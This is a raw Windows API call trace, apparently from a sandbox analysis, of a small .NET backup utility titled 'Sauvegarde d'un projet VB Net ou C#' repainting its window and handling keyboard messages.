IsThemeBackgroundPartiallyTransparent () returned 0x1 [0240.800] IsAppThemed () returned 0x1 [0240.800] GetThemeAppProperties () returned 0x3 [0240.800] GetThemeAppProperties () returned 0x3 [0240.800] IsAppThemed () returned 0x1 [0240.800] GetThemeAppProperties () returned 0x3 [0240.800] GetThemeAppProperties () returned 0x3 [0240.800] IsThemePartDefined () returned 0x1 [0240.800] GdipCreateRegion (region=0x52e804) returned 0x0 [0240.800] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0240.800] GdipCreateMatrix (matrix=0x52e804) returned 0x0 [0240.800] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0240.800] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e81c) returned 0x0 [0240.800] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0240.800] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4b20) returned 0x0 [0240.800] LocalFree (hMem=0x4fa4b20) returned 0x0 [0240.801] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0240.801] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4b20) returned 0x0 [0240.801] LocalFree (hMem=0x4fa4b20) returned 0x0 [0240.801] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0240.801] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e844) returned 0x0 [0240.801] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e834) returned 0x0 [0240.801] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e834) returned 0x0 [0240.801] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0240.801] GdipGetDC (graphics=0x4da5930, hdc=0x52e84c) returned 0x0 [0240.801] GetCurrentObject (hdc=0x100101a0, type=0x1) returned 0x1b00017 [0240.801] GetCurrentObject (hdc=0x100101a0, type=0x2) returned 0x1900010 [0240.801] GetCurrentObject (hdc=0x100101a0, type=0x7) returned 0xa0506be [0240.801] GetCurrentObject (hdc=0x100101a0, type=0x6) returned 0x18a002e [0240.801] SaveDC (hdc=0x100101a0) returned 1 [0240.801] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x84040221 [0240.801] GetClipRgn (hdc=0x100101a0, hrgn=0x84040221) returned 0 [0240.801] SelectClipRgn (hdc=0x100101a0, hrgn=0x5e0401e4) returned 2 [0240.801] DeleteObject (ho=0x84040221) returned 1 [0240.801] DeleteObject (ho=0x5e0401e4) returned 1 [0240.801] OffsetViewportOrgEx (in: hdc=0x100101a0, x=0, y=0, lppt=0x241cca0 | out: lppt=0x241cca0) returned 1 [0240.801] DrawThemeParentBackground () returned 0x0 [0240.802] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52e5c0 | out: lpwndpl=0x52e5c0) returned 1 [0240.802] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e56c | out: lpRect=0x52e56c) returned 1 [0240.802] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0240.802] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0240.802] GetSystemMetrics (nIndex=42) returned 0 [0240.802] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e3fc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0240.802] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e3fc) returned 0x23 [0240.802] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e474 | out: lpRect=0x52e474) returned 1 [0240.802] GetCurrentObject (hdc=0x100101a0, type=0x1) returned 0x1b00017 [0240.802] GetCurrentObject (hdc=0x100101a0, type=0x2) returned 0x1900010 [0240.802] GetCurrentObject (hdc=0x100101a0, type=0x7) returned 0xa0506be [0240.802] GetCurrentObject (hdc=0x100101a0, type=0x6) returned 0x18a002e [0240.802] SaveDC (hdc=0x100101a0) returned 2 [0240.802] GetNearestColor (hdc=0x100101a0, color=0xf0f0f0) returned 0xf0f0f0 [0240.802] CreateSolidBrush (color=0xf0f0f0) returned 0x1f1006b3 [0240.802] FillRect (hDC=0x100101a0, lprc=0x52e314, hbr=0x1f1006b3) returned 1 [0240.802] DeleteObject (ho=0x1f1006b3) returned 1 [0240.802] RestoreDC (hdc=0x100101a0, nSavedDC=-1) returned 1 [0240.803] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0240.803] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0240.803] GetSystemMetrics (nIndex=42) returned 0 [0240.803] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0240.803] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0240.803] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e414 | out: lpRect=0x52e414) returned 1 [0240.803] GetCurrentObject (hdc=0x100101a0, type=0x1) returned 0x1b00017 [0240.803] GetCurrentObject (hdc=0x100101a0, type=0x2) returned 0x1900010 [0240.803] GetCurrentObject (hdc=0x100101a0, type=0x7) returned 0xa0506be [0240.803] GetCurrentObject (hdc=0x100101a0, type=0x6) returned 0x18a002e [0240.803] SaveDC (hdc=0x100101a0) returned 2 [0240.803] GetNearestColor (hdc=0x100101a0, color=0xf0f0f0) returned 0xf0f0f0 [0240.803] CreateSolidBrush (color=0xf0f0f0) returned 0x201006b3 [0240.803] FillRect (hDC=0x100101a0, lprc=0x52e2b4, hbr=0x201006b3) returned 1 [0240.803] DeleteObject (ho=0x201006b3) returned 1 [0240.803] RestoreDC (hdc=0x100101a0, nSavedDC=-1) returned 1 [0240.803] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0240.803] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0240.803] GetSystemMetrics (nIndex=42) returned 0 [0240.803] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0240.803] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0240.804] RestoreDC (hdc=0x100101a0, nSavedDC=-1) returned 1 [0240.804] GdipReleaseDC (graphics=0x4da5930, hdc=0x100101a0) returned 0x0 [0240.804] IsAppThemed () returned 0x1 [0240.804] GetThemeAppProperties () returned 0x3 [0240.804] GetThemeAppProperties () returned 0x3 [0240.804] IsAppThemed () returned 0x1 [0240.804] GetThemeAppProperties () returned 0x3 [0240.804] GetThemeAppProperties () returned 0x3 [0240.804] IsThemePartDefined () returned 0x1 [0240.804] GdipCreateRegion (region=0x52e7a8) returned 0x0 [0240.804] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0240.804] GdipCreateMatrix (matrix=0x52e7a8) returned 0x0 [0240.804] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0240.804] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52e7c0) returned 0x0 [0240.804] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0240.804] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4b20) returned 0x0 [0240.804] LocalFree (hMem=0x4fa4b20) returned 0x0 [0240.804] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0240.805] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4b20) returned 0x0 [0240.805] LocalFree (hMem=0x4fa4b20) returned 0x0 [0240.805] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0240.805] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7e8) returned 0x0 [0240.805] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d8) returned 0x0 [0240.805] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7d8) returned 0x0 [0240.805] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0240.805] GdipGetDC (graphics=0x4da5930, hdc=0x52e7f0) returned 0x0 [0240.805] GetCurrentObject (hdc=0x100101a0, type=0x1) returned 0x1b00017 [0240.805] GetCurrentObject (hdc=0x100101a0, type=0x2) returned 0x1900010 [0240.805] GetCurrentObject (hdc=0x100101a0, type=0x7) returned 0xa0506be [0240.805] GetCurrentObject (hdc=0x100101a0, type=0x6) returned 0x18a002e [0240.805] SaveDC (hdc=0x100101a0) returned 1 [0240.805] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5f0401e4 [0240.805] GetClipRgn (hdc=0x100101a0, hrgn=0x5f0401e4) returned 0 [0240.805] SelectClipRgn (hdc=0x100101a0, hrgn=0x86040221) returned 2 [0240.806] DeleteObject (ho=0x5f0401e4) returned 1 [0240.806] DeleteObject (ho=0x86040221) returned 1 [0240.806] OffsetViewportOrgEx (in: hdc=0x100101a0, x=0, y=0, lppt=0x241d6d8 | out: lppt=0x241d6d8) returned 1 [0240.806] IsAppThemed () returned 0x1 [0240.806] GetThemeAppProperties () returned 0x3 [0240.806] GetThemeAppProperties () returned 0x3 [0240.806] DrawThemeBackground () returned 0x0 [0240.806] RestoreDC (hdc=0x100101a0, nSavedDC=-1) returned 1 [0240.806] GdipReleaseDC (graphics=0x4da5930, hdc=0x100101a0) returned 0x0 [0240.806] GdipCreateRegion (region=0x52e790) returned 0x0 [0240.806] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0240.806] GdipCreateMatrix (matrix=0x52e790) returned 0x0 [0240.806] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0240.806] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e7a8) returned 0x0 [0240.806] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0240.806] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4b20) returned 0x0 [0240.806] LocalFree (hMem=0x4fa4b20) returned 0x0 [0240.806] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0240.806] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4b20) returned 0x0 [0240.806] LocalFree (hMem=0x4fa4b20) returned 0x0 [0240.806] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0240.807] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d0) returned 0x0 [0240.807] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7c0) returned 0x0 [0240.807] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7c0) returned 0x0 [0240.807] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0240.807] GdipGetDC (graphics=0x4da5930, hdc=0x52e7d8) returned 0x0 [0240.807] GetCurrentObject (hdc=0x100101a0, type=0x1) returned 0x1b00017 [0240.807] GetCurrentObject (hdc=0x100101a0, type=0x2) returned 0x1900010 [0240.807] GetCurrentObject (hdc=0x100101a0, type=0x7) returned 0xa0506be [0240.807] GetCurrentObject (hdc=0x100101a0, type=0x6) returned 0x18a002e [0240.807] SaveDC (hdc=0x100101a0) returned 1 [0240.807] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x87040221 [0240.807] GetClipRgn (hdc=0x100101a0, hrgn=0x87040221) returned 0 [0240.807] SelectClipRgn (hdc=0x100101a0, hrgn=0x600401e4) returned 2 [0240.807] DeleteObject (ho=0x87040221) returned 1 [0240.807] DeleteObject (ho=0x600401e4) returned 1 [0240.807] OffsetViewportOrgEx (in: hdc=0x100101a0, x=0, y=0, lppt=0x241d9ac | out: lppt=0x241d9ac) returned 1 [0240.807] IsAppThemed () returned 0x1 [0240.807] GetThemeAppProperties () returned 0x3 [0240.807] GetThemeAppProperties () returned 0x3 [0240.808] GetThemeBackgroundContentRect () returned 0x0 [0240.808] RestoreDC (hdc=0x100101a0, nSavedDC=-1) returned 1 [0240.808] GdipReleaseDC (graphics=0x4da5930, hdc=0x100101a0) returned 0x0 [0240.808] IsAppThemed () returned 0x1 [0240.808] GetThemeAppProperties () returned 0x3 [0240.808] GetThemeAppProperties () returned 0x3 [0240.808] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e908) returned 0x0 [0240.808] GdipGetDC (graphics=0x4da5930, hdc=0x52e8f4) returned 0x0 [0240.808] GetCurrentObject (hdc=0x100101a0, type=0x1) returned 0x1b00017 [0240.808] GetCurrentObject (hdc=0x100101a0, type=0x2) returned 0x1900010 [0240.808] GetCurrentObject (hdc=0x100101a0, type=0x7) returned 0xa0506be [0240.808] GetCurrentObject (hdc=0x100101a0, type=0x6) returned 0x18a002e [0240.808] SaveDC (hdc=0x100101a0) returned 1 [0240.808] GetTextAlign (hdc=0x100101a0) returned 0x0 [0240.808] GetTextColor (hdc=0x100101a0) returned 0x0 [0240.808] GetCurrentObject (hdc=0x100101a0, type=0x6) returned 0x18a002e [0240.808] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e5fc | out: pv=0x52e5fc) returned 92 [0240.811] SelectObject (hdc=0x100101a0, h=0xc0a01e7) returned 0x18a002e [0240.811] GetBkMode (hdc=0x100101a0) returned 2 [0240.811] SetBkMode (hdc=0x100101a0, mode=1) returned 2 [0240.811] DrawTextExW (in: hdc=0x100101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e6d0, format=0x2415, lpdtp=0x241e0c4 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e6d0) returned 13 [0240.812] DrawTextExW (in: hdc=0x100101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e888, format=0x2015, lpdtp=0x241e0c4 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e888) returned 13 [0240.812] RestoreDC (hdc=0x100101a0, nSavedDC=-1) returned 1 [0240.812] GdipReleaseDC (graphics=0x4da5930, hdc=0x100101a0) returned 0x0 [0240.812] GetFocus () returned 0x0 [0240.812] IsAppThemed () returned 0x1 [0240.812] GetThemeAppProperties () returned 0x3 [0240.812] GetThemeAppProperties () returned 0x3 [0240.812] GdipGetDC (graphics=0x4da5930, hdc=0x52ead4) returned 0x0 [0240.812] BitBlt (hdc=0x60106b7, x=0, y=0, cx=163, cy=29, hdcSrc=0x100101a0, x1=0, y1=0, rop=0xcc0020) returned 1 [0240.815] GdipReleaseDC (graphics=0x4da5930, hdc=0x100101a0) returned 0x0 [0240.815] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0240.816] SelectObject (hdc=0x100101a0, h=0x185000f) returned 0xa0506be [0240.816] DeleteDC (hdc=0x100101a0) returned 1 [0240.816] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0240.816] EndPaint (hWnd=0x10186, lpPaint=0x52ea78) returned 1 [0240.816] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0240.816] IsWindowUnicode (hWnd=0x101a4) returned 1 [0240.816] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0240.816] TranslateMessage (lpMsg=0x52ef98) returned 0 [0240.816] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0240.816] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0240.816] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0240.816] WaitMessage () returned 1 [0241.106] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0241.106] IsWindowUnicode (hWnd=0x101a6) returned 1 [0241.106] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0241.106] TranslateMessage (lpMsg=0x52ef98) returned 0 [0241.106] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0241.106] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0241.106] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0241.106] WaitMessage () returned 1 [0241.804] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0241.804] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0241.804] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0241.856] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ec30 | out: lpwndpl=0x52ec30) returned 1 [0241.856] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0241.856] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0241.856] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0241.857] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0241.857] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0xd, wParam=0x104, lParam=0x433edb8) returned 0x0 [0241.857] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1c, wParam=0x1, lParam=0x560) returned 0x0 [0241.857] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x1c, wParam=0x1, lParam=0x560) returned 0x0 [0241.857] NtdllDefWindowProc_W () returned 0x0 [0241.857] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0241.863] GetFocus () returned 0x0 [0241.863] SetFocus (hWnd=0x10186) returned 0x0 [0241.863] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0241.863] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0241.863] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0241.863] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0241.863] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0241.863] GetStockObject (i=5) returned 0x1900015 [0241.863] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0241.863] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0xd, wParam=0x1a, lParam=0x69a208) returned 0x19 [0241.864] GetDlgItem (hDlg=0x1016e, nIDDlgItem=65926) returned 0x10186 [0241.864] SendMessageW (hWnd=0x10186, Msg=0x202b, wParam=0x10186, lParam=0x52e678) returned 0x0 [0241.864] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x202b, wParam=0x10186, lParam=0x52e678) returned 0x0 [0241.864] InvalidateRect (hWnd=0x10186, lpRect=0x0, bErase=0) returned 1 [0241.864] IsWindowUnicode (hWnd=0x10186) returned 1 [0241.864] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0241.864] TranslateMessage (lpMsg=0x52ef98) returned 0 [0241.864] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0241.864] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0241.864] IsWindowUnicode (hWnd=0x10186) returned 1 [0241.864] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0241.864] GetKeyState (nVirtKey=16) returned 0 [0241.864] GetKeyState (nVirtKey=17) returned 0 [0241.864] GetKeyState (nVirtKey=18) returned -128 [0241.864] TranslateMessage (lpMsg=0x52ef98) returned 1 [0241.864] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0241.864] GetKeyState (nVirtKey=16) returned 0 [0241.864] GetKeyState (nVirtKey=17) returned 0 [0241.864] GetKeyState (nVirtKey=18) returned -128 [0241.864] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0241.864] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0241.864] IsWindowUnicode (hWnd=0x10186) returned 1 [0241.864] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0241.864] GetKeyState (nVirtKey=16) returned 0 [0241.864] GetKeyState (nVirtKey=17) returned 0 [0241.864] GetKeyState (nVirtKey=18) returned 0 [0241.864] TranslateMessage (lpMsg=0x52ef98) returned 1 [0241.864] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0241.864] GetKeyState (nVirtKey=16) returned 0 [0241.864] GetKeyState (nVirtKey=17) returned 0 [0241.864] GetKeyState (nVirtKey=18) returned 0 [0241.864] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0241.864] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0241.865] IsWindowUnicode (hWnd=0x10186) returned 1 [0241.865] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0241.865] TranslateMessage (lpMsg=0x52ef98) returned 0 [0241.865] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0241.865] BeginPaint (in: hWnd=0x10186, lpPaint=0x52ea7c | out: lpPaint=0x52ea7c) returned 0x701068c [0241.865] SelectPalette (hdc=0x701068c, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0241.865] CreateCompatibleDC (hdc=0x701068c) returned 0x170101a0 [0241.865] SelectObject (hdc=0x170101a0, h=0xa0506be) returned 0x185000f [0241.865] GdipCreateFromHDC (hdc=0x170101a0, graphics=0x52ea94) returned 0x0 [0241.865] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0241.865] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0241.865] GdipCreateMatrix (matrix=0x52eadc) returned 0x0 [0241.865] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0241.865] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eaf4) returned 0x0 [0241.865] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0241.865] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4b20) returned 0x0 [0241.865] LocalFree (hMem=0x4fa4b20) returned 0x0 [0241.865] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0241.865] GdipCreateRegion (region=0x52eadc) returned 0x0 [0241.865] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0241.865] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eae8) returned 0x0 [0241.865] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb14) returned 0x0 [0241.865] GdipRestoreGraphics (graphics=0x4da5930, state=0xfd930dbd) returned 0x0 [0241.865] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0241.865] GdipGetDC (graphics=0x4da5930, hdc=0x52e900) returned 0x0 [0241.866] GetCurrentObject (hdc=0x170101a0, type=0x1) returned 0x1b00017 [0241.866] GetCurrentObject (hdc=0x170101a0, type=0x2) returned 0x1900010 [0241.866] GetCurrentObject (hdc=0x170101a0, type=0x7) returned 0xa0506be [0241.866] GetCurrentObject (hdc=0x170101a0, type=0x6) returned 0x18a002e [0241.866] SaveDC (hdc=0x170101a0) returned 1 [0241.866] GetNearestColor (hdc=0x170101a0, color=0xf0f0f0) returned 0xf0f0f0 [0241.866] GetNearestColor (hdc=0x170101a0, color=0xa0a0a0) returned 0xa0a0a0 [0241.866] GetNearestColor (hdc=0x170101a0, color=0x696969) returned 0x696969 [0241.866] GetNearestColor (hdc=0x170101a0, color=0xa0a0a0) returned 0xa0a0a0 [0241.866] GetNearestColor (hdc=0x170101a0, color=0x0) returned 0x0 [0241.866] GetNearestColor (hdc=0x170101a0, color=0xffffff) returned 0xffffff [0241.866] GetNearestColor (hdc=0x170101a0, color=0xe5e5e5) returned 0xe5e5e5 [0241.866] GetNearestColor (hdc=0x170101a0, color=0xd7d7d7) returned 0xd7d7d7 [0241.866] GetNearestColor (hdc=0x170101a0, color=0x0) returned 0x0 [0241.866] RestoreDC (hdc=0x170101a0, nSavedDC=-1) returned 1 [0241.866] GdipReleaseDC (graphics=0x4da5930, hdc=0x170101a0) returned 0x0 [0241.866] IsAppThemed () returned 0x1 [0241.866] GetThemeAppProperties () returned 0x3 [0241.866] GetThemeAppProperties () returned 0x3 [0241.866] IsAppThemed () returned 0x1 [0241.866] GetThemeAppProperties () returned 0x3 [0241.866] GetThemeAppProperties () returned 0x3 [0241.866] DrawTextExW (in: hdc=0x300101e8, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e7bc, format=0x2415, lpdtp=0x242f100 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e7bc) returned 13 [0241.866] IsAppThemed () returned 0x1 [0241.867] GetThemeAppProperties () returned 0x3 [0241.867] GetThemeAppProperties () returned 0x3 [0241.867] IsAppThemed () returned 0x1 [0241.867] GetThemeAppProperties () returned 0x3 [0241.867] GetThemeAppProperties () returned 0x3 [0241.867] GetFocus () returned 0x10186 [0241.867] IsAppThemed () returned 0x1 [0241.867] GetThemeAppProperties () returned 0x3 [0241.867] GetThemeAppProperties () returned 0x3 [0241.867] IsAppThemed () returned 0x1 [0241.867] GetThemeAppProperties () returned 0x3 [0241.867] GetThemeAppProperties () returned 0x3 [0241.867] IsThemePartDefined () returned 0x1 [0241.867] IsAppThemed () returned 0x1 [0241.867] GetThemeAppProperties () returned 0x3 [0241.867] GetThemeAppProperties () returned 0x3 [0241.867] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0241.867] IsAppThemed () returned 0x1 [0241.867] GetThemeAppProperties () returned 0x3 [0241.867] GetThemeAppProperties () returned 0x3 [0241.867] IsAppThemed () returned 0x1 [0241.867] GetThemeAppProperties () returned 0x3 [0241.867] GetThemeAppProperties () returned 0x3 [0241.867] IsThemePartDefined () returned 0x1 [0241.867] GdipCreateRegion (region=0x52e804) returned 0x0 [0241.867] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0241.867] GdipCreateMatrix (matrix=0x52e804) returned 0x0 [0241.867] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0241.867] 